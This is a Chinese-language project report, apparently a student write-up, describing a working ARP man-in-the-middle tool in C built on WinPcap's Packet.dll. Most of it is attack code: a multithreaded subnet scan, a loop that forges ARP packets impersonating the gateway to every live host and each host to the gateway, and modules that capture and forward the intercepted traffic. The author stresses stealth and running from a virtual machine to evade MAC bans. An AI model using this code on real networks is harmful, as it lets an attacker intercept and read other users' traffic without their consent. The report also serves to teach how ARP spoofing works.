1 系统概述
2 需求分析
2.1 系统需求
2.2 环境配置
2.3 Packet.dll相关内容
3 详细设计
3.1 ARP欺骗模块
3.2 接收数据包模块
3.3 转发数据包模块
3.4 主机扫描
3.5 数据结构
4 所遇问题及分析解决
5 结论
1 系统概述
随着网络的发展越来越快,网络安全事件也经常在我们身边发生,很多不法分子利用TCP/IP协议簇的漏洞进行非法活动。本文此次研究的课题就是针对TCP/IP中的ARP协议中如何实现欺骗主机的过程。本系统通过winpcap和IPHlpApi实现了ARP中间人欺骗,并且欺骗对象是全网存活主机,不发送广播性质的数据包,能实现很好的隐蔽性。
运行模式
2 需求分析
2.1 系统需求
要完成ARP中间人欺骗,不仅需要假冒网关对用户的欺骗,还要假冒用户对网关的欺骗,这样才能得到更完整的数据。所以本系统的实现分成3个模块,分别包括ARP欺骗模块、数据接收模块、数据转发模块,并且在设计过程中赋予每个模块一个线程,分别可以同步的完成自己的工作。
2.2 环境配置
开发语言:C
运行环境:VM11 -》 XP
开发环境:VC++6.0
第三方库:Winpcap、IPHlpApi
此次并没有按照常规使用wpcap.dll的函数设计,因为觉得这个课题需要的功能很简单,还用不到pcap那么多样性的功能,并且也想通过Packet.dll来理解wpcap.dll的构造,所以网上对Packet.dll的描述不是很全面,很多内容只能通过《网络分析技术揭秘》这本书来查看pcap的源码和结构来使用其中的PacketXXX函数。使用虚拟机的原因是方便被抓的时候能够通过修改MAC地址来解除被封。
2.3 Packet.dll相关内容
一、首先介绍一下相关的结构体。
ADAPTER结构体描述一个网络适配器
typedef struct _ADAPTER
{
HANDLE hFile; // 一个打开的NPF driver实例的句柄:
CHAR SymbolicLink[MAX_LINK_NAME_LENGTH]; // 当前打开的网卡的名字:
int NumWrites; // 在这块Adapter上,一个数据包被写的次数:
HANDLE ReadEvent; /* 这块Adapter上的read操作的通知事件。它可以被传递给标准Win32函数(如WaitForSingleObject或者WaitForMultipleObjects),这样可以等待到driver的缓冲区内有数据到来。在同时等待几个事件的GUI程序中,它特别有用。在Windows2000/XP中,函数PacketSetMinToCopy()可以用来设置内核缓冲区中激发本事件的最小数据大小:*/
UINT ReadTimeOut; // 设置一个时间,到时候,即使没有捕获任何包,read操作也会被释放,ReadEvent也会被触发:
} ADAPTER, *LPADAPTER;
P
ACKET为描述一组网络数据包的结构体
typedef struct _PACKET
{
HANDLE hEvent; // 向后兼容用的:
OVERLAPPED OverLapped; // 向后兼容用的:
PVOID Buffer; // 存放Packets的缓冲区:
UINT Length; // 缓冲区的大小:
DWORD ulBytesReceived; // 当前缓冲区中有效的字节数,如,上一次调用PacketReceivePacket()函数接收到的字节数:
BOOLEAN bIoComplete // 向后兼容用的:
} PACKET, *LPPACKET;
二、简要说明一下Packet.dll中重要的函数
PacketGetAdapterNames用于获取可用网络适配器的列表。
BOOLEAN PacketGetAdapterNames(PTSTR pStr,PULONG BufferSize);
PacketGetNetInfoEx用于获得一个适配器所有的网络地址信息,诸如IP地址、子网掩码、广播地址等。
BOOLEAN PacketGetNetInfoEx(PCHAR AdapterName, npf_if_addr* buffer, PLONG NEntries);
PacketSetHwFilter用于给到来的数据包设置一个硬件过滤条件。
BOOLEAN PacketSetHwFilter(LPADAPTER AdapterObject,ULONG Filter);
PacketSetBuff用于设置一个与捕获实例相关的内核缓冲区大小。
BOOLEAN PacketSetBuff(LPADAPTER AdapterObject,int dim);
PacketSetReadTimeout用于设置一个适配器上读操作的超时时间。
BOOLEAN PacketSetReadTimeout(LPADAPTER AdapterObject,int timeout);
PacketAllocatePacket用于分配一个_ADAPTER结构体内存空间。
LPPACKET PacketAllocatePacket(void);
PacketInitPacket用于初始化一个_PACKET结构体。
VOID PacketInitPacket(LPPACKET lpPacket,PVOID Buffer,UINT Length);
三、功能函数
为了让程序更简洁,把一些基本操作的流程都封装到一个函数里,方便使用。
void PacketInit()
{//初始化Packet
ULONG NameLength;
char *name1, //设备名称
*name2; //描述信息
char *List[100];
int i = 0;
PacketGetAdapterNames(NULL, &NameLength); //第一次失败调用为了获取所需内存大小
char* str = (char*)malloc(NameLength);
if(!PacketGetAdapterNames(str, &NameLength)) //获取适配器的名称和描述信息
return ;
name1 = str;
while(*str != '\0' || *(str+1) != '\0')
{
str += strlen(str);
}
str += 2;
name2 = str;
while (*name1 != '\0' || *(name1+1) != '\0')
{
SetConsoleTextAttribute(hConsole,FOREGROUND_GREEN | FOREGROUND_RED| FOREGROUND_INTENSITY);
printf("%d: %s\n%s\n", i, name1, name2);
PrintAdapterInfo(name1);
List[i] = name1;
i++;
name1 += strlen(name1);
name2 += strlen(name2);
}
printf("\n");
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_INTENSITY);
choice = -1;
printf("========>选择操作的适配器 choice:");
scanf("%d",&choice);
if(choice == -1 || choice >= i)
choice = 0;
lpadapter = PacketOpenAdapter(List[choice]);
if(PacketSetHwFilter(lpadapter, NDIS_PACKET_TYPE_PROMISCUOUS)
== false)
printf("========>设置过滤器失败\n");
if(PacketSetBuff(lpadapter, 512000) == false)
printf("========>设置缓冲区失败");
if(PacketSetReadTimeout(lpadapter, 1000) == false)
printf("========>设置数据包超时时间");
lppacket = PacketAllocatePacket(); //注意:设置两个_PACKET变量就是为了接收和发送数据使用各自的缓冲区
lppacket2 = PacketAllocatePacket(); //不然,就会出现无法同时接收和发送数据的现象
PacketInitPacket(lppacket, buff, 512000); //为两个结构体变量设置缓冲区大小
PacketInitPacket(lppacket2, buff2, 512000);
PacketQueue = InitQueue(PACKET_NUM); //初始化循环队列,用于接收数据包
}
PacketSend用于发送封装好的数据包信息。
void PacketSend(PVOID Buffer, UINT Length)
{
PacketInitPacket(lppacket, Buffer, Length);
PacketSendPacket(lpadapter, lppacket, true);
}
现在讲一下驱动程序返回的数据存储形式,并且该如何提取数据。
大家一定还记得_PACKET中的ulBytesReceived参数,它说明了返回的数据总大小,但是这组数据当中可能会有很多个独立的数据包,我们要利用bpf_hdr这个结构体来区分数据,下面介绍一下bpf_hdr这个结构体。它记录了数据包时间戳,捕获长度和数据长度(捕获长度中包含冗余检验信息,可能会比数据长度大),还有这个结构体的大小。
struct bpf_hdr
{
struct timeval bh_tstamp; //< The timestamp associated with the captured packet.
///< It is stored in a TimeVal structure.
UINT bh_caplen; //< Length of captured portion. The captured portion <b>can be different</b>
///< from the original packet, because it is possible (with a proper filter)
///< to instruct the driver to capture only a portion of the packets.
UINT bh_datalen; //< Original length of packet
USHORT bh_hdrlen; //< Length of bpf header (this struct plus alignment padding). In some cases,
///< a padding could be added between the end of this structure and the packet
///< data for performance reasons. This filed can be used to retrieve the actual data
///< of the packet.
};
我们就可以利用捕获长度和首部大小获得正确的偏移来提取数据。Packet.dll为我们提供Packet_WORDALIGN这个宏来得到正确的偏移。例如
off=Packet_WORDALIGN(off + bh_caplen);
3 详细设计
3.1 ARP欺骗模块
假冒用户模式
假冒网关模式
首先,先利用SendARP函数扫描整个整个子网的主机,将IP地址和MAC地址信息(两者都是以网络字节序方式存储)存入事先设计好的顺序表当中。由于得到的列表是不按IP地址从小到大的顺序排列的,所以在进行发包前要对顺序表进行排序。之后在一一取出IP地址和MAC地址,构造ARP报文(假冒网关和用户)。假冒网关,则把ARP报文中的源IP地址改成网关的IP;假冒用户则把源IP地址改成提取出某个用户的IP地址,目标IP地址为网关IP地址。并且我们已经ARP报文有两个方式,一是请求报文,二是响应报文。根据之前大量的实验结果表明,有些计算机遇到响应报文就会更新本地的ARP缓存表,而有些计算机,比如实验中的路由器,只能通过请求报文才会有效果(通过登录到路由器主页中查看ARP缓存表情况)。所以,根据上述现象,ARP欺骗模块采取这种方式,每次循环完主机存活表,则更改一次发送ARP报文的方式,假设第一次循环中发送的是响应报文,第二次循环发送的是请求报文。
以太帧格式
以太帧结构体
ARP报文结构体
这是ARP欺骗模块的核心代码,LocalAddr和GatewayAddr参数分别是本地IP地址和网关IP地址(网络字节序),然后进行数据包的构造,每提取出一个主机的IP地址,就可以通过构造假冒网关和假冒用户的报文来进行欺骗,达到一石二鸟的作用。
void ARPSpoofing(DWORD LocalAddr, DWORD GatewayAddr)
{
Ethdr ethdr;
Arphdr arphdr;
pDataType Info;
char sendbuf[1024*10] = {0};
UCHAR GatewayMac[6] = {0};
int Count = 0;
ethdr.type = htons(0x0806);
if(!GetGoalMac(LocalAddr, ethdr.src))
{//获取指定IP的MAC地址
SetConsoleTextAttribute(hConsole,FOREGROUND_BLUE | FOREGROUND_INTENSITY);
printf("========>[Error]GetGoalMac\n");
return ;
}
<span style="white-space:pre"> </span>//填写一些固定信息
arphdr.hdr = htons(0x0001);
arphdr.pro = htons(0x0800);
arphdr.hln = 6;
arphdr.pln = 4;
arphdr.opt = htons(0x0002);
memcpy(arphdr.sha, ethdr.src, sizeof(ethdr.src));
int front = 0;
while(1)
{
if(list->total == front)
{//完成一个循环,初始化,休眠
front = 0;
Sleep(1000*2);
if(++Count % 2 == 0)
{//更改ARP报文类型
arphdr.opt = htons(0x0002); //ARP响应
}
else
{
arphdr.opt = htons(0x0001); //ARP请求
}
continue;
}
Info = list->Info+front; //提取顺序表信息
if(Info->ip_addr == GatewayAddr)
{//记录网关mac地址
memcpy(GatewayMac, Info->mac, 6*sizeof(UCHAR));
}
if(Info->ip_addr != GatewayAddr && Info->ip_addr != LocalAddr)
{
//对主机欺骗
memcpy(arphdr.spa, &GatewayAddr, sizeof(arphdr.spa));
memcpy(ethdr.dst, Info->mac, sizeof(Info->mac));
memcpy(arphdr.tha, Info->mac, sizeof(Info->mac));
memcpy(arphdr.tpa, &Info->ip_addr, sizeof(Info->ip_addr));
memcpy(sendbuf, ðdr, sizeof(ethdr));
memcpy(sendbuf+sizeof(ethdr),&arphdr,sizeof(arphdr));
PacketSend(sendbuf,sizeof(ethdr)+sizeof(arphdr));
memset(sendbuf, 0, 1024*10);
//对网关欺骗
memcpy(ethdr.dst, GatewayMac, sizeof(ethdr.dst)); //修改帧目的MAC地址
memcpy(arphdr.spa, &Info->ip_addr, sizeof(arphdr.spa)); //修改ARP报文的发送IP地址
memcpy(arphdr.tpa, &GatewayAddr, sizeof(arphdr.tpa)); //修改ARP报文的接受IP地址
memcpy(arphdr.tha, GatewayMac, sizeof(arphdr.tha)); //修改ARP报文接收端MAC地址
memcpy(sendbuf, ðdr, sizeof(ethdr));
memcpy(sendbuf+sizeof(ethdr),&arphdr,sizeof(arphdr));
PacketSend(sendbuf,sizeof(ethdr)+sizeof(arphdr)); //发送报文
}
memset(sendbuf, 0, 1024*10);
front++;
}
}
3.2 接收数据包模块
PacketRev功能包括捕获数据包和分析数据包并且使其入队,注意捕获到的数据包并非属于本机的(以减少不必要的内存开支),要传入本地的IP地址(网络字节序)。
void PacketRev(DWORD LocalAddr)
{
while(1)
{
//捕获数据
if(PacketReceivePacket(lpadapter, lppacket2, TRUE)==FALSE){
printf("Error: PacketReceivePacket failed");
return ;
}
AcceptPackets(lppacket2, LocalAddr);
}
}
AcceptPackets函数用于提取一组数据包中的单个数据包,然后把数据包起始处的地址传递给AnalyzePacket函数来分析是不是IP数据包,如果是的话就入队,队列中包含整个数据包的信息。AcceptPackets处理NPF驱动程序传递回来的数据格式,bpf_hdr结构体在2.3节已经讲过了,利用捕获长度和首部长度就可以获得正确的偏移来提取数据。Packet_WORDALIGN宏用于获得正确的偏移。例如:off = Packet_WORDALIGN(off+ bh_caplen);
while(off < ulBytesReceived)
{//AcceptPackets函数的核心代码,
hdr=(struct bpf_hdr *)(buf+off);
tlen1=hdr->bh_datalen;
tlen=hdr->bh_caplen;
// printf("Packet length, captured portion: %ld, %ld\n", tlen1, tlen);
off+=hdr->bh_hdrlen;
ulLines = (tlen + 15) / 16;
pChar =(char*)(buf+off);
if(AnalyzePacket(pChar, LocalAddr))
{//不属于本机的IP数据包,入队进入转发序列
pktInfo.buff = (char*)malloc(tlen1+1);
pktInfo.bufflen = tlen1;
memcpy(pktInfo.buff, pChar, tlen1);
EnQueue(PacketQueue, pktInfo);
}
off=Packet_WORDALIGN(off+tlen);
}
3.3 转发数据包模块
转发数据包之前先从循环队列的队头中取出数据包,然后修改其以太首部,在进行转发。ChangePacket用于修改以太首部。
void ChangePacket(char* Buffer)
{//改变数据包中帧和IP报文的信息,从而进行转发
pEthdr eth_hdr;
pArphdr arp_hdr;
pIPhdr ip_hdr;
int position;
eth_hdr = (pEthdr)Buffer;
ip_hdr = (pIPhdr)(Buffer+sizeof(Ethdr));
//进行二分法查找到IP对应的MAC,修改帧目的MAC地址和IP中的目的MAC地址
position = BinarySearch(list->Info, ip_hdr->dest, list->total);
if(position == -1)
{
// printf("========>找不到指定的IP地址关联信息\n");
return ;
}
//修改帧头目的MAC地址
memcpy(eth_hdr->dst, &list->Info[position].mac, sizeof(eth_hdr->dst));
//打印出修改后的数据包信息
View(Buffer);
}
数据修改好以后就可以进行转发了,注意要在发送数据以后才能free掉缓冲区,不然就非法操作了,如果没有数据的话,线程就进入休眠状态。
void TranspondPacket()
{//数据转发
pPacketInfo pInfo;
while(1)
{
while(!EmptyQueue(PacketQueue))
{
pInfo = GetFront(PacketQueue);
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_INTENSITY);
ChangePacket(pInfo->buff);
SetConsoleTextAttribute(hConsole,FOREGROUND_GREEN | FOREGROUND_RED| FOREGROUND_INTENSITY);
PacketSend(pInfo->buff, pInfo->bufflen);
free(pInfo->buff);
//最后才能出队,不然容易导致异常访问
DeQueue(PacketQueue);
}
//没有数据包在队列中,休眠一段时间
Sleep(2000);
}
}
3.4 主机扫描
在进行任何的欺骗行为之前,总得知道对方的所在地是什么。所以在程序开始,需要先对整个子网进行扫描,虽然ARP包我们也能构造,但是要实现像SendARP函数这样的功能,还是相当的麻烦的,所以偷懒利用现成的吧,GetIPTableToSeqList就是利用多线程来加快扫描速度。
Status GetIPTableToSeqList()
{//把存活主机信息放入顺序表
DWORD i;
DWORD LowAddr;
DWORD HighAddr;
ULONG LocalAddr;
HANDLE hThead[THREAD_NUM];
LocalAddr = AptIf[choice].ulIPAddress;
LowAddr = (AptIf[choice].ulIPAddress & AptIf[choice].ulSubnetMask)+1;
HighAddr = (AptIf[choice].ulIPAddress | ~AptIf[choice].ulSubnetMask)-1;
list = InitSqeList(HighAddr-LowAddr+1);
for(i = LowAddr; i <= HighAddr; ){
//扫描整个子网存活的主机
for (int j = 0;j< THREAD_NUM && i<=HighAddr; j++,i++)
{
hThead[j] = CreateThread(NULL, 0, ScanThread, (LPVOID)i, 0, NULL);
}
WaitForMultipleObjects(THREAD_NUM, hThead, true, INFINITE);
}
//堆排序,方便转发数据模块的二分法查找
HeapSort(list->Info, list->total);
printf("共发现%d台主机\n", Count);
return OK;
}
扫描线程才是实现获得MAC地址的主要代码,结构体DataType是用来存放IP和相对于的MAC地址的。
DWORD WINAPI ScanThread(LPVOID Para)
{//获取目标mac地址的线程,也是扫描线程
DWORD i = (DWORD)Para;
in_addr in;
DataType Info;
DWORD dwSize = 6;
DWORD RetD = SendARP( htonl(i), htonl(AptIf[choice].ulIPAddress), (unsigned long *)Info.mac, &dwSize);
if(RetD == NO_ERROR){
in.S_un.S_addr = htonl(i);
Info.ip_addr = in.S_un.S_addr;
printf("%s => %02x:%02x:%02x:%02x:%02x:%02\n",inet_ntoa(*(in_addr*)&Info.ip_addr),
Info.mac[0],
Info.mac[1],
Info.mac[2],
Info.mac[3],
Info.mac[4],
Info.mac[5]);
Insert(list, Info);
Count++;
}
Sleep(50);
return 1;
}
_DataType结构体如下
typedef struct _DataType{
DWORD ip_addr; //ip地址(网络字节序)
UCHAR mac[6]; //网关地址
}*pDataType,DataType;
3.5 数据结构
这次为了方便数据处理,利用了顺序表、循环队列、堆排序、二分查找的方法。
顺序表用于存储子网存活主机的IP地址和对应的MAC地址信息。
循环队列用于存储截获的数据包,转发数据模块从队列中提取数据转送到正确的主机。
堆排序用于主机扫描时,对没有先后顺序形成的顺序表进行排序,由于堆排序综合效果不错,在大型网络当中更是效果明显。
二分查找是建立于有先后顺序的顺序表中,在修改数据包时,会利用二分法检索出IP地址对应的MAC地址。
其实我完全可以在顺序表用建立一个所有主机的信息,只要主机存活,就更改它的活动标志,这样的好处是不用摧毁原来的顺序表就可以实现更新子网主机存活情况,这是这次程序设计的一个失误明显的地方,留着日后修改。
4 所遇问题及分析解决
1.在设计主机扫描模块的时候,发现如果
线程数设的
数量过多,就会导致有部分主机没有扫描到。
解决方法:把线程数设置为10个,扫描速度和效果都很好,可以接受,但是为什么线程数设置过多会导致上述问题,个人认为应该是多线程的资源抢占导致的。
2.在进行堆排序的时候,想把结构体中的IP地址转化为主机字节序来进行排序,但是发现过程比较繁杂。
解决方法:网络字节序也可以做为排序的标准。
3.在没有使用PacketGetNetInfoEx的时候是利用IPHlpApi的GetIpAddrTable来获得子网掩码和IP地址,以计算出子网的范围。
解决方法:
(1)使用PacketGetNetInfoEx之前必须要了解npf_if_addr结构体,学会利用winsock的转换函数来提取出IP地址、子网掩码、广播地址等;
(2)转换算法如下:假设IPADDR和SubnetMask分别是主机字节序的IP地址和子网掩码
下限就是(
IPADDR & SubnetMask) +1
上限就是(
IPADDR | ~SubnetMask) -1
求得范围
( IPADDR & SubnetMask ) +1 到 (
IPADDR | ~SubnetMask ) -1
4.前面的内容提及过,有些主机遇到响应报文是
不更新缓存表的,得使用请求报文,基于这样的情况,发送ARP欺骗报文就包交替的发响应报文和请求报文。
5.程序运行后,发现队列总是处于满溢的状态,就算把队列容量设置得很大,但是由于接收速率和转发速率有比较大的差别,队列总是趋向于满的状态,不能保持一定的平衡。
解决方法:参考了知网一些文献后发现利用ndis编程更能实现高速转发。
6.因为虚拟机开启了路由转发功能,所以不确定数据包到底是不是程序转发的。
解决方法:设断点到转发数据包的那一刻,利用wireshark观察这个数据包是否转发出去了。
7.用型号为华为荣耀6P手机来测试时,无法假冒网关对其进行欺骗(用手机wif保护软件来查看ARP缓存表),所以只能通过假冒用户的方式获得单向的数据流。
5 结论
一张思维导图来表达